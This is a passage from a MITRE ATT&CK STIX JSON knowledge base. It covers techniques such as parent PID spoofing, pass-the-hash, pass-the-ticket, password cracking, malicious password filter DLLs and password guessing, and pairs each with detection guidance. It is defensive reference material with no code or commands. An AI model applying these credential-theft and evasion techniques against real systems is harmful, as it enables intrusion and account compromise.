                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "modified": "2020-03-26T17:36:15.923Z",
            "created": "2019-11-07T20:00:25.560Z",
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0",
            "x_mitre_permissions_required": [
                "Administrator",
                "User"
            ],
            "x_mitre_detection": "Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\n\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "Application Log: Application Log Content"
            ],
            "x_mitre_platforms": [
                "Windows",
                "Office 365"
            ]
        },
        {
            "id": "attack-pattern--9ddc2534-e91c-4dab-a8f6-43dab81e8142",
            "name": "Parent PID Spoofing",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1502",
                    "url": "https://attack.mitre.org/techniques/T1502"
                },
                {
                    "description": "Stevens, D. (2009, November 22). Quickpost: SelectMyParent or Playing With the Windows Process Tree. Retrieved June 3, 2019.",
                    "url": "https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/",
                    "source_name": "DidierStevens SelectMyParent Nov 2009"
                },
                {
                    "description": "Montemayor, D. et al.. (2018, November 15). How User Account Control works. Retrieved June 3, 2019.",
                    "url": "https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works",
                    "source_name": "Microsoft UAC Nov 2018"
                },
                {
                    "description": "Loh, I. (2018, December 21). Detecting Parent PID Spoofing. Retrieved June 3, 2019.",
                    "url": "https://www.countercept.com/blog/detecting-parent-pid-spoofing/",
                    "source_name": "CounterCept PPID Spoofing Dec 2018"
                },
                {
                    "source_name": "CTD PPID Spoofing Macro Mar 2019",
                    "url": "https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/",
                    "description": "Tafani-Dereeper, C. (2019, March 12). Building an Office macro to spoof parent processes and command line arguments. Retrieved June 3, 2019."
                },
                {
                    "description": "Chester, A. (2017, November 20). Alternative methods of becoming SYSTEM. Retrieved June 4, 2019.",
                    "url": "https://blog.xpnsec.com/becoming-system/",
                    "source_name": "XPNSec PPID Nov 2017"
                },
                {
                    "source_name": "Microsoft Process Creation Flags May 2018",
                    "url": "https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags",
                    "description": "Schofield, M. & Satran, M. (2018, May 30). Process Creation Flags. Retrieved June 4, 2019."
                },
                {
                    "source_name": "Secuirtyinbits Ataware3 May 2019",
                    "url": "https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3",
                    "description": "Secuirtyinbits . (2019, May 14). Parent PID Spoofing (Stage 2) Ataware Ransomware Part 3. Retrieved June 6, 2019."
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-02-18T18:23:31.546Z",
            "created": "2019-06-03T14:50:50.613Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1134.004",
                    "url": "https://attack.mitre.org/techniques/T1134/004"
                },
                {
                    "source_name": "DidierStevens SelectMyParent Nov 2009",
                    "url": "https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/",
                    "description": "Stevens, D. (2009, November 22). Quickpost: SelectMyParent or Playing With the Windows Process Tree. Retrieved June 3, 2019."
                },
                {
                    "source_name": "Microsoft UAC Nov 2018",
                    "url": "https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works",
                    "description": "Montemayor, D. et al.. (2018, November 15). How User Account Control works. Retrieved June 3, 2019."
                },
                {
                    "source_name": "CounterCept PPID Spoofing Dec 2018",
                    "url": "https://www.countercept.com/blog/detecting-parent-pid-spoofing/",
                    "description": "Loh, I. (2018, December 21). Detecting Parent PID Spoofing. Retrieved June 3, 2019."
                },
                {
                    "source_name": "CTD PPID Spoofing Macro Mar 2019",
                    "url": "https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/",
                    "description": "Tafani-Dereeper, C. (2019, March 12). Building an Office macro to spoof parent processes and command line arguments. Retrieved June 3, 2019."
                },
                {
                    "source_name": "XPNSec PPID Nov 2017",
                    "url": "https://blog.xpnsec.com/becoming-system/",
                    "description": "Chester, A. (2017, November 20). Alternative methods of becoming SYSTEM. Retrieved June 4, 2019."
                },
                {
                    "source_name": "Microsoft Process Creation Flags May 2018",
                    "url": "https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags",
                    "description": "Schofield, M. & Satran, M. (2018, May 30). Process Creation Flags. Retrieved June 4, 2019."
                },
                {
                    "description": "Secuirtyinbits . (2019, May 14). Parent PID Spoofing (Stage 2) Ataware Ransomware Part 3. Retrieved June 6, 2019.",
                    "url": "https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3",
                    "source_name": "Secuirtyinbits Ataware3 May 2019"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Parent PID Spoofing",
            "description": "Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the <code>CreateProcess</code> API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via <code>svchost.exe</code> or <code>consent.exe</code>) rather than the current user context.(Citation: Microsoft UAC Nov 2018)\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1059/001)/[Rundll32](https://attack.mitre.org/techniques/T1218/011) to be <code>explorer.exe</code> rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as <code>lsass.exe</code>), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)",
            "id": "attack-pattern--93591901-3172-4e94-abf8-6034ab26f44a",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "modified": "2021-02-09T14:11:20.296Z",
            "created": "2020-02-18T18:22:41.448Z",
            "x_mitre_contributors": [
                "Wayne Silva, F-Secure Countercept"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "User",
                "Administrator"
            ],
            "x_mitre_defense_bypassed": [
                "Heuristic Detection",
                "Host forensic analysis"
            ],
            "x_mitre_detection": "Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018)\n\nMonitor and analyze API calls to <code>CreateProcess</code>/<code>CreateProcessA</code>, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of <code>CreateProcess</code>/<code>CreateProcessA</code> may also be proceeded by a call to <code>UpdateProcThreadAttribute</code>, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019) This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if possible.",
            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "Process: Process Creation",
                "Process: Process Metadata"
            ],
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "id": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff",
            "name": "Pass the Hash",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1075",
                    "url": "https://attack.mitre.org/techniques/T1075"
                },
                {
                    "external_id": "CAPEC-644",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/644.html"
                },
                {
                    "source_name": "NSA Spotting",
                    "description": "National Security Agency/Central Security Service Information Assurance Directorate. (2015, August 7). Spotting the Adversary with Windows Event Log Monitoring. Retrieved September 6, 2018.",
                    "url": "https://apps.nsa.gov/iaarchive/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-01-30T19:55:38.699Z",
            "created": "2017-05-31T21:30:59.339Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1550.002",
                    "url": "https://attack.mitre.org/techniques/T1550/002"
                },
                {
                    "external_id": "CAPEC-644",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/644.html"
                },
                {
                    "source_name": "Stealthbits Overpass-the-Hash",
                    "url": "https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/",
                    "description": "Warren, J. (2019, February 26). How to Detect Overpass-the-Hash Attacks. Retrieved February 4, 2021."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Pass the Hash",
            "description": "Adversaries may \u201cpass the hash\u201d using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.\n\nWhen performing PtH, valid password hashes for the account being used are captured using a [Credential Access](https://attack.mitre.org/tactics/TA0006) technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.\n\nAdversaries may also use stolen password hashes to \"overpass the hash.\" Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks.(Citation: Stealthbits Overpass-the-Hash)",
            "id": "attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                }
            ],
            "modified": "2021-03-15T21:04:33.228Z",
            "created": "2020-01-30T16:36:51.184Z",
            "x_mitre_defense_bypassed": [
                "System Access Controls"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_is_subtechnique": true,
            "x_mitre_detection": "Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.\n\nEvent ID 4768 and 4769 will also be generated on the Domain Controller when a user requests a new ticket granting ticket or service ticket. These events combined with the above activity may be indicative of an overpass the hash attempt.(Citation: Stealthbits Overpass-the-Hash)",
            "x_mitre_data_sources": [
                "User Account: User Account Authentication",
                "Logon Session: Logon Session Creation",
                "Active Directory: Active Directory Credential Request"
            ],
            "x_mitre_contributors": [
                "Blake Strom, Microsoft 365 Defender",
                "Travis Smith, Tripwire"
            ],
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "id": "attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c",
            "name": "Pass the Ticket",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1097",
                    "url": "https://attack.mitre.org/techniques/T1097"
                },
                {
                    "external_id": "CAPEC-645",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/645.html"
                },
                {
                    "url": "https://adsecurity.org/?p=556",
                    "description": "Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016.",
                    "source_name": "ADSecurity AD Kerberos Attacks"
                },
                {
                    "url": "http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos",
                    "description": "Deply, B. (2014, January 13). Pass the ticket. Retrieved June 2, 2016.",
                    "source_name": "GentilKiwi Pass the Ticket"
                },
                {
                    "url": "http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf",
                    "description": "Campbell, C. (2014). The Secret Life of Krbtgt. Retrieved December 4, 2014.",
                    "source_name": "Campbell 2014"
                },
                {
                    "url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf",
                    "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.",
                    "source_name": "CERT-EU Golden Ticket Protection"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-01-30T19:57:16.037Z",
            "created": "2017-05-31T21:31:11.623Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1550.003",
                    "url": "https://attack.mitre.org/techniques/T1550/003"
                },
                {
                    "external_id": "CAPEC-645",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/645.html"
                },
                {
                    "url": "https://adsecurity.org/?p=556",
                    "description": "Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016.",
                    "source_name": "ADSecurity AD Kerberos Attacks"
                },
                {
                    "url": "http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos",
                    "description": "Deply, B. (2014, January 13). Pass the ticket. Retrieved June 2, 2016.",
                    "source_name": "GentilKiwi Pass the Ticket"
                },
                {
                    "url": "http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf",
                    "description": "Campbell, C. (2014). The Secret Life of Krbtgt. Retrieved December 4, 2014.",
                    "source_name": "Campbell 2014"
                },
                {
                    "source_name": "Stealthbits Overpass-the-Hash",
                    "url": "https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/",
                    "description": "Warren, J. (2019, February 26). How to Detect Overpass-the-Hash Attacks. Retrieved February 4, 2021."
                },
                {
                    "url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf",
                    "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.",
                    "source_name": "CERT-EU Golden Ticket Protection"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Pass the Ticket",
            "description": "Adversaries may \u201cpass the ticket\u201d using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nWhen preforming PtT, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket)\n\nA [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks)\n\nA [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014)\n\nAdversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, \"overpassing the hash\" involves using a NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash)",
            "id": "attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                }
            ],
            "modified": "2021-03-15T21:42:11.839Z",
            "created": "2020-01-30T17:03:43.072Z",
            "x_mitre_defense_bypassed": [
                "System Access Controls"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_is_subtechnique": true,
            "x_mitre_system_requirements": [
                "Kerberos authentication enabled"
            ],
            "x_mitre_detection": "Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.\n\nEvent ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to \"Integrity check on decrypted field failed\" and indicates misuse by a previously invalidated golden ticket.(Citation: CERT-EU Golden Ticket Protection)",
            "x_mitre_data_sources": [
                "User Account: User Account Authentication",
                "Logon Session: Logon Session Creation",
                "Active Directory: Active Directory Credential Request"
            ],
            "x_mitre_contributors": [
                "Vincent Le Toux",
                "Ryan Becwar"
            ],
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1110.002",
                    "url": "https://attack.mitre.org/techniques/T1110/002"
                },
                {
                    "external_id": "CAPEC-55",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/55.html"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Password_cracking",
                    "description": "Wikipedia. (n.d.). Password cracking. Retrieved December 23, 2015.",
                    "source_name": "Wikipedia Password cracking"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Password Cracking",
            "description": "Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) is used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network.(Citation: Wikipedia Password cracking) The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access.",
            "id": "attack-pattern--1d24cdee-9ea2-4189-b08e-af110bf2435d",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "modified": "2020-09-16T15:39:59.041Z",
            "created": "2020-02-11T18:38:56.197Z",
            "x_mitre_data_sources": [
                "User Account: User Account Authentication",
                "Application Log: Application Log Content"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network. Consider focusing efforts on detecting other adversary behavior used to acquire credential materials, such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).",
            "x_mitre_version": "1.1",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Office 365",
                "Azure AD"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1174",
                    "url": "https://attack.mitre.org/techniques/T1174"
                },
                {
                    "url": "http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html",
                    "description": "Fuller, R. (2013, September 11). Stealing passwords every time they change. Retrieved November 21, 2017.",
                    "source_name": "Carnal Ownage Password Filters Sept 2013"
                },
                {
                    "url": "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/",
                    "description": "Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.",
                    "source_name": "Clymb3r Function Hook Passwords Sept 2013"
                }
            ],
            "name": "Password Filter DLL",
            "id": "attack-pattern--b8c5c9dd-a662-479d-9428-ae745872537c",
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-02-11T19:06:18.818Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1556.002",
                    "url": "https://attack.mitre.org/techniques/T1556/002"
                },
                {
                    "url": "http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html",
                    "description": "Fuller, R. (2013, September 11). Stealing passwords every time they change. Retrieved November 21, 2017.",
                    "source_name": "Carnal Ownage Password Filters Sept 2013"
                },
                {
                    "url": "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/",
                    "description": "Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.",
                    "source_name": "Clymb3r Function Hook Passwords Sept 2013"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Password Filter DLL",
            "description": "Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated. \n\nWindows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as DLLs containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation. \n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made.(Citation: Carnal Ownage Password Filters Sept 2013)",
            "id": "attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "modified": "2021-04-20T20:11:55.147Z",
            "created": "2020-02-11T19:05:45.829Z",
            "x_mitre_data_sources": [
                "File: File Creation",
                "Module: Module Load",
                "Windows Registry: Windows Registry Key Modification"
            ],
            "x_mitre_contributors": [
                "Vincent Le Toux"
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_detection": "Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages</code>) and correlate then investigate the DLL files these files reference.\n\nPassword filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)",
            "x_mitre_version": "2.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1110.001",
                    "url": "https://attack.mitre.org/techniques/T1110/001"
                },
                {
                    "external_id": "CAPEC-49",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/49.html"
                },
                {
                    "source_name": "Cylance Cleaver",
                    "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.",
                    "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
                },
                {
                    "source_name": "US-CERT TA18-068A 2018",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A",
                    "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Password Guessing",
            "description": "Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts.\n\nGuessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)\n\nTypically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)\n\nIn default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \"logon failure\" event ID 4625.",
            "id": "attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "modified": "2021-04-21T16:41:35.269Z",
            "created": "2020-02-11T18:38:22.617Z",
            "x_mitre_contributors": [
                "Microsoft Threat Intelligence Center (MSTIC)"
            ],
            "x_mitre_data_sources": [
                "User Account: User Account Authentication",
                "Application Log: Application Log Content"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.",
            "x_mitre_version": "1.2",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "Windows",
                "Azure AD",
                "Office 365",
                "SaaS",
                "IaaS",
                "Linux",
                "macOS",
                "Google Workspace",
                "Containers"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1555.005",
                    "url": "https://attack.mitre.org/techniques/T1555/005"
                },
                {
                    "source_name": "ise Password Manager February 2019",
                    "url": "https://www.ise.io/casestudies/password-manager-hacking/",
                    "description": "ise. (2019, February 19). Password Managers: Under the Hood of Secrets Management. Retrieved January 22, 2021."
                },
                {
                    "source_name": "FoxIT Wocao December 2019",
                    "url": "https://resources.fox-it.com/rs/170-CAK-271/images/201912_Report_Operation_Wocao.pdf",
                    "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020."
                },
                {
                    "source_name": "Github KeeThief",
                    "url": "https://github.com/GhostPack/KeeThief",
                    "description": "Lee, C., Schoreder, W. (n.d.). KeeThief. Retrieved February 8, 2021."
                },
                {
                    "source_name": "NVD CVE-2019-3610",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-3610",
                    "description": "National Vulnerability Database. (2019, October 9). CVE-2019-3610 Detail. Retrieved April 14, 2021."
                },
                {
                    "source_name": "Cyberreason Anchor December 2019",
                    "url": "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware",
                    "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Password Managers",
